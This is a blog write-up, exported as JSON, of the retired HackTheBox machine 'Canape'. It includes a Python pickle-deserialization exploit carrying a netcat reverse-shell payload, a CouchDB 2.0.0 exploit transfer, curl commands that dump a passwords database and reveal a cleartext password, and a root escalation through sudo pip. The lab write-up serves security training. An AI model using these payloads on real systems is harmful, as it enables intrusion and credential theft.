{"id":129,"date":"2018-10-15T22:43:25","date_gmt":"2018-10-15T22:43:25","guid":{"rendered":"https:\/\/zineausa.com\/blog\/?p=129"},"modified":"2018-10-15T22:43:25","modified_gmt":"2018-10-15T22:43:25","slug":"hackthebox-canape-writeup","status":"publish","type":"post","link":"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-canape-writeup\/","title":{"rendered":"Hackthebox &#8211; Canape Writeup"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/1-Oh-CrNVR6G8xx6tBXbvnw.png\" alt=\"\" width=\"642\" height=\"200\" class=\"alignnone size-full wp-image-130\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/1-Oh-CrNVR6G8xx6tBXbvnw.png 642w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/1-Oh-CrNVR6G8xx6tBXbvnw-600x187.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/1-Oh-CrNVR6G8xx6tBXbvnw-300x93.png 300w\" sizes=\"auto, (max-width: 642px) 100vw, 642px\" \/><br \/>\nThis is a writeup for the Canape machine on hackthebox.eu which was retired on 9\/15\/18!<\/p>\n<p>First, enumerate! Let&#8217;s try the custom python enumeration script a friend of ours made:<br \/>\nhttps:\/\/github.com\/vishalb2308\/Pentest-Enumeration-Script\/blob\/master\/EnumScript.py<\/p>\n<p>We find that port 80 is open and the page looks something like this:<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-24-03-11-20.png\" alt=\"\" width=\"1920\" height=\"1080\" class=\"alignnone size-full wp-image-132\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-24-03-11-20.png 1920w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-24-03-11-20-600x338.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-24-03-11-20-300x169.png 300w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-24-03-11-20-768x432.png 768w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-24-03-11-20-1024x576.png 1024w\" sizes=\"auto, (max-width: 1920px) 100vw, 1920px\" \/><\/p>\n<p>nmap (with command <code>nmap -sC -sV 10.10.10.70)<\/code> indicated that there was a git directory present, so let&#8217;s proceed to download that.<\/p>\n<p>This will pull it down for us on Kali:<br \/>\n<code>wget --mirror --include-directories=\/.git http:\/\/10.10.10.70\/.git<\/code><\/p>\n<p>Looking into the python file __init__.py and googling for exploits, it seems the pickle module is exploitable.<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/pickle.png\" alt=\"\" width=\"923\" height=\"752\" class=\"alignnone size-full wp-image-133\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/pickle.png 923w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/pickle-600x489.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/pickle-300x244.png 300w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/pickle-768x626.png 768w\" sizes=\"auto, (max-width: 923px) 100vw, 923px\" \/><\/p>\n<p>After doing a bunch of research on the topic, we seem to have made a successfuly exploit. <\/p>\n<p>We probably didn&#8217;t need to import all these modules but based on our script it seems we need to install couchdb first, so we run<br \/>\n<code>pip install couchdb<\/code><\/p>\n<p>We then run our custom python code to exploit pickle:<br \/>\n<code>import httplib, urllib<br \/>\nimport couchdb<br \/>\nimport string<br \/>\nimport random<br \/>\nimport base64<br \/>\nimport cPickle<br \/>\nimport requests<br \/>\nfrom flask import Flask, render_template, request<br \/>\nfrom hashlib import md5<br \/>\nchar = \"\"\"cposix<br \/>\nsystem<br \/>\np0<br \/>\n(S'rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2>&1|nc 10.10.14.12 7734 >\/tmp\/f'<br \/>\np1<br \/>\ntp2<br \/>\nRp3<br \/>\n.<br \/>\nhomer<br \/>\n\"\"\"<br \/>\nparams = urllib.urlencode({'quote':'Doh', 'character':<br \/>\nchar})<br \/>\nheaders = {\"Content-type\": \"application\/x-www-form-urlencoded\",<br \/>\n            \"Accept\": \"text\/plain\"}<br \/>\nconn = httplib.HTTPConnection(\"10.10.10.70:80\")<br \/>\nconn.request(\"POST\", \"\/submit\", params, headers)<br \/>\nresponse = conn.getresponse()<br \/>\nprint response.status, response.reason<br \/>\ndata = response.read()<br \/>\nconn.close()<\/p>\n<p>WHITELIST = [<br \/>\n    \"homer\",<br \/>\n    \"marge\",<br \/>\n    \"bart\",<br \/>\n    \"lisa\",<br \/>\n    \"maggie\",<br \/>\n    \"moe\",<br \/>\n    \"carl\",<br \/>\n    \"krusty\"<br \/>\n]<\/p>\n<p>quote = \"Doh\"<br \/>\nif not char or not quote:<br \/>\n\tprint(\"Error1\")<br \/>\nelif not any(c.lower() in char.lower() for c in WHITELIST):<br \/>\n\tprint(\"Error2\")<br \/>\nelse:<br \/>\n\t# TODO - Pickle into dictionary instead, `check` is ready<br \/>\n\tp_id = md5(char + quote).hexdigest()<br \/>\n\toutfile = open(\"\/tmp\/\" + p_id + \".p\", \"wb\")<br \/>\n\toutfile.write(char + quote)<br \/>\n\toutfile.close()<br \/>\n\tsuccess = True<\/p>\n<p>payload = {'id': p_id}<br \/>\nr = requests.post('http:\/\/10.10.10.70\/check', data=payload)<\/p>\n<p>print(r.text)<br \/>\n<\/code><\/p>\n<p>We start a listener with <code>nc -lvnp 7734 <\/code>on our kali machine<br \/>\nNow we got a reverse shell, nice, and therefore we have the user flag:<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/canapeuser.png\" alt=\"\" width=\"709\" height=\"754\" class=\"alignnone size-full wp-image-147\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/canapeuser.png 709w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/canapeuser-600x638.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/canapeuser-282x300.png 282w\" sizes=\"auto, (max-width: 709px) 100vw, 709px\" \/><\/p>\n<p>Now we knew that couchDB was running based on the python script before, let&#8217;s try to see what version it is:<\/p>\n<p>First we need the port, so we run:<br \/>\n<code>netstat -tulnp<\/code><br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/tulnp.png\" alt=\"\" width=\"970\" height=\"278\" class=\"alignnone size-full wp-image-135\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/tulnp.png 970w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/tulnp-600x172.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/tulnp-300x86.png 300w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/tulnp-768x220.png 768w\" sizes=\"auto, (max-width: 970px) 100vw, 970px\" \/><\/p>\n<p>We find that port is 5984 is listening, and googling confirms this indeed is couchdb.<\/p>\n<p>We run the following code to get a bash shell:<br \/>\n<code>python -c 'import pty;pty.spawn(\"\/bin\/bash\")'<\/code><\/p>\n<p>Then we run the following to get the version of couchdb:<br \/>\n<code>nc 127.0.0.1 5984<br \/>\nthen type<br \/>\nGET \/ HTTP\/1.1<br \/>\nAccept: application\/json<br \/>\nHost: localhost:5984<br \/>\n[press enter twice to send]<br \/>\n<\/code><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/getversion.png\" alt=\"\" width=\"736\" height=\"530\" class=\"alignnone size-full wp-image-134\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/getversion.png 736w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/getversion-600x432.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/getversion-300x216.png 300w\" sizes=\"auto, (max-width: 736px) 100vw, 736px\" \/><\/p>\n<p>We find that it&#8217;s version 2.0.0<\/p>\n<p>We google &#8220;couchdb 2.0.0 exploit&#8221; and find the third result to be:<br \/>\n<a href=\"https:\/\/www.exploit-db.com\/exploits\/44498\/\">https:\/\/www.exploit-db.com\/exploits\/44498\/<\/a><\/p>\n<p>We transfer it over by hosting it on our kali machine with <code>python -m SimpleHTTPServer 80<\/code> then use <code>wget 10.10.14.12\/exploit.py<\/code> on the victim and run it with:<br \/>\n<code>python exploit.py 127.0.0.1<\/code><\/p>\n<p>This results in a user\/pass combo being created.<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/exploitpy.png\" alt=\"\" width=\"970\" height=\"494\" class=\"alignnone size-full wp-image-136\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/exploitpy.png 970w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/exploitpy-600x306.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/exploitpy-300x153.png 300w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/exploitpy-768x391.png 768w\" sizes=\"auto, (max-width: 970px) 100vw, 970px\" \/><\/p>\n<p>Let&#8217;s dump the database!<br \/>\nwe use this to get the databases:<br \/>\n<code>curl -X GET http:\/\/127.0.0.1:5984\/_all_dbs<\/code><\/p>\n<p>Then use this to dump the passwords, now that we know &#8220;passwords&#8221; is a database.<br \/>\n<code>curl -X GET couchara:couchapass@127.0.0.1:5984\/passwords\/_all_docs<\/code><br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/couchdb.png\" alt=\"\" width=\"970\" height=\"386\" class=\"alignnone size-full wp-image-138\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/couchdb.png 970w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/couchdb-600x239.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/couchdb-300x119.png 300w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/couchdb-768x306.png 768w\" sizes=\"auto, (max-width: 970px) 100vw, 970px\" \/><\/p>\n<p>This actually only gets us the reference ID so we do one more command to actually get the password:<br \/>\n<code>curl -X GET couchara:couchapass@127.0.0.1:5984\/passwords\/739c5ebdf3f7a001bebb8fc4380019e4<\/code><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/sshpass.png\" alt=\"\" width=\"970\" height=\"152\" class=\"alignnone size-full wp-image-139\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/sshpass.png 970w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/sshpass-600x94.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/sshpass-300x47.png 300w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/sshpass-768x120.png 768w\" sizes=\"auto, (max-width: 970px) 100vw, 970px\" \/><\/p>\n<p>So we actually pulled all 4 instances but that first one is the useful password.<\/p>\n<p>This is actually homer&#8217;s password if you pulled the \/etc\/password file and try the ones that look like users. So we do:<br \/>\n<code>su homer<\/code><br \/>\nif you get an error about running from a terminal, make sure you ran that python import command from above.<\/p>\n<p>Now we&#8217;re in with the password: 0B4jyA0xtytZi7esBNGp<\/p>\n<p>we type sudo -l to see that we can run pip as sudo, nice.<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/sudol.png\" alt=\"\" width=\"970\" height=\"296\" class=\"alignnone size-full wp-image-140\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/sudol.png 970w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/sudol-600x183.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/sudol-300x92.png 300w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/sudol-768x234.png 768w\" sizes=\"auto, (max-width: 970px) 100vw, 970px\" \/><\/p>\n<p>We google a bit to see how to exploit this and come across:<br \/>\n<a href=\"https:\/\/github.com\/0x00-0x00\/FakePip\">https:\/\/github.com\/0x00-0x00\/FakePip<\/a><\/p>\n<p>therefore we pull down setup.py and change the IP to our kali machine in the file.<br \/>\nWe then start a listener with <code>nc -lvnp 443<\/code><\/p>\n<p>we pull the file into the \/tmp folder with the wget command again, and then run the following commands:<br \/>\n<code>mkdir fakepop<br \/>\nmv setup.py fakepip\/<br \/>\ncd fakepip<br \/>\nsudo \/usr\/bin\/pip install . --upgrade --force-reinstall<br \/>\n<\/code><\/p>\n<p>This is the last step, we now get the root shell and find our root flag!<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/rootcanape.png\" alt=\"\" width=\"740\" height=\"491\" class=\"alignnone size-full wp-image-145\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/rootcanape.png 740w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/rootcanape-600x398.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/rootcanape-300x199.png 300w\" sizes=\"auto, (max-width: 740px) 100vw, 740px\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is a writeup for the Canape machine on hackthebox.eu which was retired on 9\/15\/18! First, enumerate! Let&#8217;s try the custom python enumeration script a friend of ours made: https:\/\/github.com\/vishalb2308\/Pentest-Enumeration-Script\/blob\/master\/EnumScript.py We find that port 80 is open and the page looks something like this: nmap (with command nmap -sC -sV 10.10.10.70) indicated that there was [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,6],"tags":[],"class_list":["post-129","post","type-post","status-publish","format-standard","hentry","category-hackthebox","category-writeups"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Hackthebox - Canape Writeup - Zinea InfoSec Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-canape-writeup\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Hackthebox - Canape Writeup - Zinea InfoSec Blog\" \/>\n<meta property=\"og:description\" content=\"This is a writeup for the Canape machine on hackthebox.eu which was retired on 9\/15\/18! First, enumerate! Let&#8217;s try the custom python enumeration script a friend of ours made: https:\/\/github.com\/vishalb2308\/Pentest-Enumeration-Script\/blob\/master\/EnumScript.py We find that port 80 is open and the page looks something like this: nmap (with command nmap -sC -sV 10.10.10.70) indicated that there was [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-canape-writeup\/\" \/>\n<meta property=\"og:site_name\" content=\"Zinea InfoSec Blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/zineausa\/\" \/>\n<meta property=\"article:published_time\" content=\"2018-10-15T22:43:25+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/1-Oh-CrNVR6G8xx6tBXbvnw.png\" \/>\n<meta name=\"author\" content=\"Zinea\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@ZineaLLC\" \/>\n<meta name=\"twitter:site\" content=\"@ZineaLLC\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Zinea\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-canape-writeup\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-canape-writeup\\\/\"},\"author\":{\"name\":\"Zinea\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#\\\/schema\\\/person\\\/e3c58d4f0650f7fb571c01fcf836b1d0\"},\"headline\":\"Hackthebox &#8211; Canape Writeup\",\"datePublished\":\"2018-10-15T22:43:25+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-canape-writeup\\\/\"},\"wordCount\":501,\"commentCount\":2,\"publisher\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-canape-writeup\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/wp-content\\\/uploads\\\/2018\\\/10\\\/1-Oh-CrNVR6G8xx6tBXbvnw.png\",\"articleSection\":[\"HackTheBox\",\"Writeups\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-canape-writeup\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-canape-writeup\\\/\",\"url\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-canape-writeup\\\/\",\"name\":\"Hackthebox - Canape Writeup - Zinea InfoSec Blog\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-canape-writeup\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-canape-writeup\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/wp-content\\\/uploads\\\/2018\\\/10\\\/1-Oh-CrNVR6G8xx6tBXbvnw.png\",\"datePublished\":\"2018-10-15T22:43:25+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-canape-writeup\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-canape-writeup\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-canape-writeup\\\/#primaryimage\",\"url\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/wp-content\\\/uploads\\\/2018\\\/10\\\/1-Oh-CrNVR6G8xx6tBXbvnw.png\",\"contentUrl\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/wp-content\\\/uploads\\\/2018\\\/10\\\/1-Oh-CrNVR6G8xx6tBXbvnw.png\",\"width\":642,\"height\":200},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-canape-writeup\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Hackthebox &#8211; Canape Writeup\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/\",\"name\":\"Zinea InfoSec Blog\",\"description\":\"Cyber Security Resources\",\"publisher\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#organization\",\"name\":\"Zinea LLC\",\"url\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/wp-content\\\/uploads\\\/2018\\\/05\\\/zinea-square.png\",\"contentUrl\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/wp-content\\\/uploads\\\/2018\\\/05\\\/zinea-square.png\",\"width\":876,\"height\":876,\"caption\":\"Zinea LLC\"},\"image\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/zineausa\\\/\",\"https:\\\/\\\/x.com\\\/ZineaLLC\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#\\\/schema\\\/person\\\/e3c58d4f0650f7fb571c01fcf836b1d0\",\"name\":\"Zinea\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/81f66095634a4c974693824dc72cd0db7c7c44910d60dda2d1bf1be275ee107d?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/81f66095634a4c974693824dc72cd0db7c7c44910d60dda2d1bf1be275ee107d?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/81f66095634a4c974693824dc72cd0db7c7c44910d60dda2d1bf1be275ee107d?s=96&d=mm&r=g\",\"caption\":\"Zinea\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Hackthebox - Canape Writeup - Zinea InfoSec Blog","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-canape-writeup\/","og_locale":"en_US","og_type":"article","og_title":"Hackthebox - Canape Writeup - Zinea InfoSec Blog","og_description":"This is a writeup for the Canape machine on hackthebox.eu which was retired on 9\/15\/18! First, enumerate! Let&#8217;s try the custom python enumeration script a friend of ours made: https:\/\/github.com\/vishalb2308\/Pentest-Enumeration-Script\/blob\/master\/EnumScript.py We find that port 80 is open and the page looks something like this: nmap (with command nmap -sC -sV 10.10.10.70) indicated that there was [&hellip;]","og_url":"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-canape-writeup\/","og_site_name":"Zinea InfoSec Blog","article_publisher":"https:\/\/www.facebook.com\/zineausa\/","article_published_time":"2018-10-15T22:43:25+00:00","og_image":[{"url":"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/1-Oh-CrNVR6G8xx6tBXbvnw.png","type":"","width":"","height":""}],"author":"Zinea","twitter_card":"summary_large_image","twitter_creator":"@ZineaLLC","twitter_site":"@ZineaLLC","twitter_misc":{"Written by":"Zinea","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-canape-writeup\/#article","isPartOf":{"@id":"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-canape-writeup\/"},"author":{"name":"Zinea","@id":"https:\/\/zineausa.com\/blog\/#\/schema\/person\/e3c58d4f0650f7fb571c01fcf836b1d0"},"headline":"Hackthebox &#8211; Canape Writeup","datePublished":"2018-10-15T22:43:25+00:00","mainEntityOfPage":{"@id":"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-canape-writeup\/"},"wordCount":501,"commentCount":2,"publisher":{"@id":"https:\/\/zineausa.com\/blog\/#organization"},"image":{"@id":"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-canape-writeup\/#primaryimage"},"thumbnailUrl":"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/1-Oh-CrNVR6G8xx6tBXbvnw.png","articleSection":["HackTheBox","Writeups"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-canape-writeup\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-canape-writeup\/","url":"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-canape-writeup\/","name":"Hackthebox - Canape Writeup - Zinea InfoSec Blog","isPartOf":{"@id":"https:\/\/zineausa.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-canape-writeup\/#primaryimage"},"image":{"@id":"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-canape-writeup\/#primaryimage"},"thumbnailUrl":"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/1-Oh-CrNVR6G8xx6tBXbvnw.png","datePublished":"2018-10-15T22:43:25+00:00","breadcrumb":{"@id":"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-canape-writeup\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-canape-writeup\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-canape-writeup\/#primaryimage","url":"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/1-Oh-CrNVR6G8xx6tBXbvnw.png","contentUrl":"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/1-Oh-CrNVR6G8xx6tBXbvnw.png","width":642,"height":200},{"@type":"BreadcrumbList","@id":"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-canape-writeup\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zineausa.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Hackthebox &#8211; Canape Writeup"}]},{"@type":"WebSite","@id":"https:\/\/zineausa.com\/blog\/#website","url":"https:\/\/zineausa.com\/blog\/","name":"Zinea InfoSec Blog","description":"Cyber Security Resources","publisher":{"@id":"https:\/\/zineausa.com\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zineausa.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zineausa.com\/blog\/#organization","name":"Zinea LLC","url":"https:\/\/zineausa.com\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zineausa.com\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/05\/zinea-square.png","contentUrl":"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/05\/zinea-square.png","width":876,"height":876,"caption":"Zinea 